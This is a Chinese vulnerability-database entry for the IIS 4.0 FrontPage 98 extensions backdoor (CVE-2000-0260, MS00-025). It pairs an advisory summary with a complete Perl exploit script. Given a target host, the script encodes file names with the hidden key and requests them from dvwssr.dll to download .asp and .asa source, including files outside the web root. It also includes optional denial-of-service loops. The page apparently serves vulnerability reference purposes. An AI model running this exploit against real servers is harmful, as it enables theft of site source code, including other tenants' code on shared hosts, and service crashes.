Microsoft IIS 4.0 FrontPage 98扩展察看CGI脚本源代码后门漏洞(MS00-025)
漏洞ID | 1105783 | 漏洞类型 | 边界条件错误 |
发布时间 | 2000-04-14 | 更新时间 | 2005-10-12 |
CVE编号 | CVE-2000-0260 |
CNNVD-ID | CNNVD-200004-032 |
漏洞平台 | Windows | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
FrontPage98Extensions是微软的一个产品,包括PWS和IIS版本,可以让网页设计人员方便的直接用FrontPage直接连接到PWS或者IIS上进行网页创作。FrontPage98Extensions包含的两个动态连接库文件存在两个后门,可以被攻击者利用来查看CGI程序源代码。微软IISFrontPage98extensions所带的两个动态连接库dvwssr.dll和mtd2lv.dll存在一个隐藏后门。这个后门实际上是一个隐藏的字符串:”Netscapeengineersareweenies!”。攻击者可以将要下载的.asp文件(或者global.asa)名用这隐含字符串编码,并提供给dvwssr.dll就可能远程下载web服务器上的.asp或者.asa源代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/1108/info
Two dlls (dvwssr.dll and mtd2lv.dll) included with the FrontPage 98 extensions for IIS and shipped as part of the NT Option Pack include an obfuscation string that manipulates the name of requested files. Knowing this string and the obfuscation algorithm allows anyone with web authoring privileges on the target host to download any .asp or .asa source on the system (including files outside the web root, through usage of the '../' string). This includes users with web authoring rights to only one of several virtual hosts on a system, allowing one company to potentially gain access to the source of another company's website if hosted on the same physical machine.
#!/usr/bin/perl
# dvwssr.pl DEMONSTRATION by rain forest puppy
#
# [email protected] / www.wiretrip.net/rfp/
#
# usage: ./dvwssr.pl <target host> <file to request>
#
# example: ./dvwssr.pl localhost /default.asp
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."n";
$DoS=0; # change to 1 to run the denial of service code
if($DoS==0){ # regular request
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0nn";
print sendraw($url);
} else {# denial of service - this is crud that I used to make it
# crash on accident. The code was for testing something
# else. I provide it as-is so you can reproduce exactly
# what I was doing.
for($x=206;$x>0;$x--){
$B='A'x $x;
$file="/$B/..".$file; print "$x ";
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0nn";
print sendraw($url);
}
# another DoS in the script; uncomment if you're a DoS kiddie.
# $B='A'x 10000;
# $file="/$B/../die.asp";
# $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
# " HTTP/1.0nn";
# print sendraw($url);
}
sub encodefilename {
my $from=shift;
my
$slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from)%31; # this was fixed to include the '%31'
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp <0){$tmp +=62;}
$to.=substr $slide, $tmp,1; } else {
$to.=$lett;}
if(++$kc >= length($key)){ $kc=0;}
}return $to;}
sub sendraw {
my ($pstr)=@_;
my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...n"); }}
|参考资料
来源:MS
名称:MS00-025
链接:http://www.microsoft.com/technet/security/bulletin/ms00-025.asp
来源:BID
名称:1109
链接:http://www.securityfocus.com/bid/1109
来源:OSVDB
名称:282
链接:http://www.osvdb.org/282
来源:NSFOCUS
名称:445
链接:http://www.nsfocus.net/vulndb/445
相关推荐: HP HTTP Server Trusted Certificate Compromise Vulnerability
HP HTTP Server Trusted Certificate Compromise Vulnerability 漏洞ID 1098805 漏洞类型 Design Error 发布时间 2004-03-12 更新时间 2004-03-12 CVE编号 N…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666